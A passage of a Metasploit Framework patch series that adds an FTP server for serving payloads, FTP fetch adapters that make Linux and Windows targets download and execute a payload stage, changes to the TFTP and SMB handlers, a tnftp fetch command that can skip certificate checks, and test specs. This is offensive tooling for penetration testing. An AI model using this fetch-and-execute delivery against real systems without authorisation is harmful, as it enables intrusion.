slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/), + Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: %r{^[^\s/\\]*$}), ] ) end @@ -29,13 +28,14 @@ def cleanup_handler end def setup_handler - @fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", @srvexe) + payload_entry = @srv_resources.find { |e| e[:uri] == srvuri } + @fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", payload_entry&.dig(:data)) super end def unc path = "\\\\#{srvhost}" - path << "\\#{srvuri.gsub('/', "\\").chomp("\\")}" + path << "\\#{srvuri.gsub('/', '\\').chomp('\\')}" path << "\\#{datastore['FETCH_FILENAME']}" if datastore['FETCH_FILENAME'].present? path end diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb index f4f8685582cdc..f9911fb1aec2b 100644 --- a/lib/msf/core/payload/adapter/fetch/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -1,5 +1,5 @@ +# Mixin for fetch payloads that retrieve and execute a stage over TFTP. module Msf::Payload::Adapter::Fetch::TFTP - include Msf::Exploit::EXE include Msf::Payload::Adapter include Msf::Payload::Adapter::Fetch @@ -19,8 +19,12 @@ def cleanup_handler end def setup_handler - @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable'] + unless datastore['FetchHandlerDisable'] + @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost) + @srv_resources.each do |srv_entry| + add_resource(@fetch_service, srv_entry[:uri], srv_entry) + end + end super end - end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 463e5a21d04d9..5750b37be4ef5 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -39,6 +39,8 @@ def camelize(basename, abspath) 'MYSQL' elsif basename == 'ssh' && abspath.end_with?("#{__dir__}/rex/proto/ssh") 'Ssh' + elsif basename == 'ftp' && abspath.end_with?("#{__dir__}/rex/proto/ftp") + 'Ftp' elsif basename == 'http' && abspath.end_with?("#{__dir__}/rex/proto/http") 'Http' elsif basename == 'rftransceiver' && abspath.end_with?("#{__dir__}/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb") @@ -136,6 +138,7 @@ def custom_inflections 'mssql' => 'MSSQL', 'pdf' => 'PDF', 'fileformat' => 'FILEFORMAT', + 'ftp' => 'FTP', 'http' => 'HTTP', 'html' => 'HTML', 'pdf_parse' => 'PDF_Parse', diff --git a/lib/rex/proto/ftp/server.rb b/lib/rex/proto/ftp/server.rb new file mode 100644 index 0000000000000..2f0bc792b482e --- /dev/null +++ b/lib/rex/proto/ftp/server.rb @@ -0,0 +1,266 @@ +# -*- coding: binary -*- + +require 'rex/socket' + +module Rex + module Proto + module Ftp + ## + # + # Anonymous-only, in-memory FTP server. + # Designed for use as a fetch-payload delivery server. + # + ## + class Server + + def self.hardcore_alias(port, host, *_rest) + "#{host}-#{port}" + end + + def alias + @alias || "FTP Server" + end + + def initialize(port = 21, host = '0.0.0.0', context = {}) + @port = port + @host = host + @context = context + @files = {} + @serve_once = {} + @files_mutex = Mutex.new + @shutting_down = false + @server_sock = nil + @monitor_thread = nil + end + + def register_file(filename, data, serve_once = true) + @files_mutex.synchronize do + @files[filename] = data + @serve_once[filename] = serve_once + end + end + + def deregister_file(filename) + @files_mutex.synchronize do + @files.delete(filename) + @serve_once.delete(filename) + end + end + + def start + @server_sock = Rex::Socket::TcpServer.create( + 'LocalHost' => @host, + 'LocalPort' => @port, + 'Context' => @context + ) + @monitor_thread = Rex::ThreadFactory.spawn('FTPServerMonitor', false) do + monitor_socket + end + end + + def stop + @shutting_down = true + @monitor_thread&.kill rescue nil + @server_sock&.close rescue nil + end + + private + + def monitor_socket + until @shutting_down + begin + client = @server_sock.accept + Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do + handle_client(client) + end + rescue => _e + break if @shutting_down + end + end + end + + def handle_client(client) + state = { + auth: false, + cwd: '/', + mode: :passive, + active_host: client.peerhost, + active_port: 20, + passive_sock: nil + } + + client.put("220 FTP Server Ready\r\n") + + until @shutting_down + data = client.get_once + break unless data + + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' + next unless cmd + + case cmd.upcase + when 'USER' + client.put("331 Guest login ok, send your email as password.\r\n") + + when 'PASS' + state[:auth] = true + client.put("230 Guest login ok.\r\n") + + when 'QUIT' + client.put("221 Goodbye.\r\n") + break + + when 'SYST' + client.put("215 UNIX Type: L8\r\n") + + when 'TYPE' + client.put("200 Type set to #{arg}.\r\n") + + when 'MODE' + client.put("200 Mode set to #{arg}.\r\n") + + when 'PWD', 'XPWD' + client.put("257 \"#{state[:cwd]}\" is current directory.\r\n") + + when 'CWD' + state[:cwd] = arg.start_with?('/') ? arg : "#{state[:cwd].chomp('/')}/#{arg}" + client.put("250 Directory successfully changed.\r\n") + + when 'CDUP' + state[:cwd] = ::File.dirname(state[:cwd]) + client.put("250 Directory successfully changed.\r\n") + + when 'PASV' + state[:passive_sock]&.close rescue nil + state[:passive_sock] = Rex::Socket::TcpServer.create( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 0, + 'Context' => @context + ) + dport = state[:passive_sock].getsockname[2] + daddr = Rex::Socket.source_address(client.peerhost) + state[:mode] = :passive + pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',') + client.put("227 Entering Passive Mode (#{pasv}).\r\n") + + when 'PORT' + parts = arg.split(',') + if parts.length == 6 + state[:active_host] = parts[0..3].join('.') + state[:active_port] = (parts[4].to_i * 256) + parts[5].to_i + state[:mode] = :active + client.put("200 PORT command successful.\r\n") + else + client.put("500 Illegal PORT command.\r\n") + end + + when 'NOOP' + client.put("200 NOOP ok.\r\n") + + when 'FEAT' + client.put("211-Features:\r\n PASV\r\n211 End\r\n") + + when 'SIZE' + filename = ::File.basename(arg) + size = @files_mutex.synchronize { @files[filename]&.bytesize } + if size + client.put("213 #{size}\r\n") + else + client.put("550 No such file or directory.\r\n") + end + + when 'LIST', 'NLST' + unless state[:auth] + client.put("530 Not logged in.\r\n") + next + end + data_conn = establish_data_connection(client, state) + unless data_conn + client.put("425 Can't open data connection.\r\n") + next + end + listing = @files_mutex.synchronize do + @files.map do |f, d| + "-rwxr-xr-x 1 0 0 #{d.bytesize} Jan 1 2000 #{f}\r\n" + end.join + end + client.put("150 Here comes the directory listing.\r\n") + data_conn.put(listing) + data_conn.close + client.put("226 Directory send OK.\r\n") + + when 'RETR' + unless state[:auth] + client.put("530 Not logged in.\r\n") + next + end + filename = ::File.basename(arg) + file_data, once = @files_mutex.synchronize do + next [nil, nil] unless @files.key?(filename) + + data = @files[filename] + once = @serve_once[filename] + if once + @files.delete(filename) + @serve_once.delete(filename) + end + [data, once] + end + unless file_data + client.put("550 No such file or directory.\r\n") + next + end + data_conn = establish_data_connection(client, state) + unless data_conn + # Put the file back if we removed it and couldn't open a connection + if once + @files_mutex.synchronize do + @files[filename] = file_data + @serve_once[filename] = true + end + end + client.put("425 Can't open data connection.\r\n") + next + end + client.put("150 Opening BINARY mode data connection for #{filename}.\r\n") + data_conn.put(file_data) + data_conn.close + client.put("226 Transfer complete.\r\n") + + when /^(STOR|MKD|RMD|DELE|RNFR|RNTO|APPE|STOU)$/ + client.put("550 Permission denied.\r\n") + + else + client.put("502 Command not implemented.\r\n") + end + end + rescue => _e + # client disconnect or other error + ensure + state[:passive_sock]&.close rescue nil + client.close rescue nil + end + + def establish_data_connection(client, state) + Timeout.timeout(20) do + if state[:mode] == :passive && state[:passive_sock] + conn = state[:passive_sock].accept + state[:passive_sock].close rescue nil + state[:passive_sock] = nil + conn + else + Rex::Socket::Tcp.create( + 'PeerHost' => state[:active_host], + 'PeerPort' => state[:active_port], + 'Context' => @context + ) + end + end + rescue => _e + nil + end + end + end + end +end diff --git a/lib/rex/proto/tftp/server.rb b/lib/rex/proto/tftp/server.rb index dca24b1ec3627..7da8e5c5e13b5 100644 --- a/lib/rex/proto/tftp/server.rb +++ b/lib/rex/proto/tftp/server.rb @@ -25,6 +25,14 @@ def self.get_string(data) ## class Server + def self.hardcore_alias(port, host, *_rest) + "#{host}-#{port}" + end + + def alias + @alias || "TFTP Server" + end + def initialize(port = 69, listen_host = '0.0.0.0', context = {}) self.listen_host = listen_host self.listen_port = port @@ -88,6 +96,14 @@ def register_file(fn, content, once = false) end + # + # Remove a previously registered file by name + # + def deregister_file(fn) + self.files.delete_if { |f| f[:name] == fn } + end + + # # Register an entire directory to serve files from # diff --git a/modules/payloads/adapters/cmd/linux/ftp/aarch64.rb b/modules/payloads/adapters/cmd/linux/ftp/aarch64.rb new file mode 100644 index 0000000000000..d7ffef5d33a75 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/aarch64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an AARCH64 payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_AARCH64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/armbe.rb b/modules/payloads/adapters/cmd/linux/ftp/armbe.rb new file mode 100644 index 0000000000000..6203d35fb4d82 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/armbe.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an ARMBE payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ARMBE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/armle.rb b/modules/payloads/adapters/cmd/linux/ftp/armle.rb new file mode 100644 index 0000000000000..1ea3ea38eefdb --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/armle.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an ARMLE payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ARMLE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/mips64.rb b/modules/payloads/adapters/cmd/linux/ftp/mips64.rb new file mode 100644 index 0000000000000..ece1a508d6071 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute a MIPS64 payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb b/modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb new file mode 100644 index 0000000000000..3ffc3ff099538 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an MIPSBE payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPSBE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/mipsle.rb b/modules/payloads/adapters/cmd/linux/ftp/mipsle.rb new file mode 100644 index 0000000000000..144c3e3e22f65 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/mipsle.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an MIPSLE payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPSLE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/ppc.rb b/modules/payloads/adapters/cmd/linux/ftp/ppc.rb new file mode 100644 index 0000000000000..a0894699e551d --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/ppc.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an PPC payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_PPC, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/ppc64.rb b/modules/payloads/adapters/cmd/linux/ftp/ppc64.rb new file mode 100644 index 0000000000000..8f8804ae37604 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/ppc64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an PPC64 payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_PPC64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb b/modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb new file mode 100644 index 0000000000000..ce03a59108c6d --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an RISC-V 32-bit payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre', 'bcoles'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_RISCV32LE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb b/modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb new file mode 100644 index 0000000000000..907c290b1dc74 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an RISC-V 64-bit payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre', 'bcoles'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_RISCV64LE, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/x64.rb b/modules/payloads/adapters/cmd/linux/ftp/x64.rb new file mode 100644 index 0000000000000..8a3f491282d9e --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an x64 payload from an FTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/ftp/x86.rb b/modules/payloads/adapters/cmd/linux/ftp/x86.rb new file mode 100644 index 0000000000000..0aaa92b164c42 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/ftp/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute a x86 payload from an FTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/ftp/x64.rb b/modules/payloads/adapters/cmd/windows/ftp/x64.rb new file mode 100644 index 0000000000000..172dba9c5d199 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/ftp/x64.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an x64 payload from an FTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'FTP', %w[FTP]]) + ] + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/ftp/x86.rb b/modules/payloads/adapters/cmd/windows/ftp/x86.rb new file mode 100644 index 0000000000000..b4cbff1413ce3 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/ftp/x86.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::FTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FTP Fetch', + 'Description' => 'Fetch and execute an x86 payload from an FTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'FTP', %w[FTP]]) + ] + ) + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 77ea8747bd106..87eac15866ce8 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -628,6 +628,14 @@ reference_name: 'cmd/linux/http/mipsle' end + context 'cmd/linux/http/multi' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/multi' + ], + reference_name: 'cmd/linux/http/multi' + end + context 'cmd/linux/https/mipsle' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -5959,6 +5967,15 @@ reference_name: 'linux/mipsle/meterpreter_reverse_tcp' end + context 'linux/multi/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/multi/meterpreter_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/multi/meterpreter_reverse_tcp' + end + context 'linux/x64/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From cc7db72b06c2a095e78409b57d364ca47c36893d Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 13 May 2026 09:23:09 -0500 Subject: [PATCH 04/18] Fix rspec tests, I hope. --- lib/msf_autoload.rb | 2 + spec/modules/payloads_spec.rb | 112 ++++++++++++++++++++++++++++++++++ 2 files changed, 114 insertions(+) diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 5750b37be4ef5..528789fd8e9ab 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -41,6 +41,8 @@ def camelize(basename, abspath) 'Ssh' elsif basename == 'ftp' && abspath.end_with?("#{__dir__}/rex/proto/ftp") 'Ftp' + elsif basename == 'ftp' && abspath.end_with?("#{__dir__}/msf/core/exploit/remote/ftp.rb") + 'Ftp' elsif basename == 'http' && abspath.end_with?("#{__dir__}/rex/proto/http") 'Http' elsif basename == 'rftransceiver' && abspath.end_with?("#{__dir__}/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb") diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 87eac15866ce8..db104ab9e4858 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -780,6 +780,102 @@ reference_name: 'cmd/linux/tftp/x86' end + context 'cmd/linux/ftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/x64' + ], + reference_name: 'cmd/linux/ftp/x64' + end + + context 'cmd/linux/ftp/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/x86' + ], + reference_name: 'cmd/linux/ftp/x86' + end + + context 'cmd/linux/ftp/aarch64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/aarch64' + ], + reference_name: 'cmd/linux/ftp/aarch64' + end + + context 'cmd/linux/ftp/armbe' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/armbe' + ], + reference_name: 'cmd/linux/ftp/armbe' + end + + context 'cmd/linux/ftp/armle' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/armle' + ], + reference_name: 'cmd/linux/ftp/armle' + end + + context 'cmd/linux/ftp/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/mips64' + ], + reference_name: 'cmd/linux/ftp/mips64' + end + + context 'cmd/linux/ftp/mipsbe' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/mipsbe' + ], + reference_name: 'cmd/linux/ftp/mipsbe' + end + + context 'cmd/linux/ftp/mipsle' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/mipsle' + ], + reference_name: 'cmd/linux/ftp/mipsle' + end + + context 'cmd/linux/ftp/ppc' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/ppc' + ], + reference_name: 'cmd/linux/ftp/ppc' + end + + context 'cmd/linux/ftp/ppc64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/ppc64' + ], + reference_name: 'cmd/linux/ftp/ppc64' + end + + context 'cmd/linux/ftp/riscv32le' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/riscv32le' + ], + reference_name: 'cmd/linux/ftp/riscv32le' + end + + context 'cmd/linux/ftp/riscv64le' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/riscv64le' + ], + reference_name: 'cmd/linux/ftp/riscv64le' + end + context 'cmd/mainframe/generic_jcl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1422,6 +1518,22 @@ reference_name: 'cmd/windows/https/x86' end + context 'cmd/windows/ftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/ftp/x64' + ], + reference_name: 'cmd/windows/ftp/x64' + end + + context 'cmd/windows/ftp/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/ftp/x86' + ], + reference_name: 'cmd/windows/ftp/x86' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From 5d5e9ae5b9648cffb279da7ca66528368abb2b1a Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 13 May 2026 14:59:41 -0500 Subject: [PATCH 05/18] Fix rspec tests, rubocop linting, tnftp cert checking --- lib/msf/core/payload/adapter/fetch.rb | 7 +++---- lib/msf/core/payload/adapter/fetch/server/http.rb | 11 ++++++++--- modules/payloads/adapters/cmd/linux/http/multi.rb | 2 +- .../singles/linux/multi/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 13 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index b36ed5b462c70..3360978337839 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -28,7 +28,6 @@ def initialize(*args) ) deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') @fetch_service = nil - @multi_arch = nil @myresources = [] @srv_resources = [] @remote_destination_win = nil @@ -165,7 +164,7 @@ def generate_fetch_commands(uri = srvuri, dynamic_arch = false) # @return [String] The generated stage contents. def generate_stage(opts = {}) opts[:arch] ||= module_info['AdaptedArch'] - opts[:arch] = @multi_arch unless @multi_arch.nil? + opts[:arch] = opts[:uuid].arch if opts[:uuid]&.arch super end @@ -176,7 +175,6 @@ def generate_stage(opts = {}) # @return [PayloadUUID] The generated payload UUID. def generate_payload_uuid(conf = {}) conf[:arch] ||= module_info['AdaptedArch'] - conf[:arch] = @multi_arch unless @multi_arch.nil? conf[:platform] ||= module_info['AdaptedPlatform'] super end @@ -465,7 +463,8 @@ def _generate_tnftp_command(uri) when 'HTTP' get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" when 'HTTPS' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" + get_file_cmd = datastore['FETCH_CHECK_CERT'] ? '' : 'FTPSSLNOVERIFY=1 ' + get_file_cmd << "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index baed8c8f3293a..f6594ca31a907 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -77,15 +77,20 @@ def on_request_uri(cli, request, srv_entry) vprint_status("#{__method__}:#{__LINE__}") vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") vprint_status request.to_s 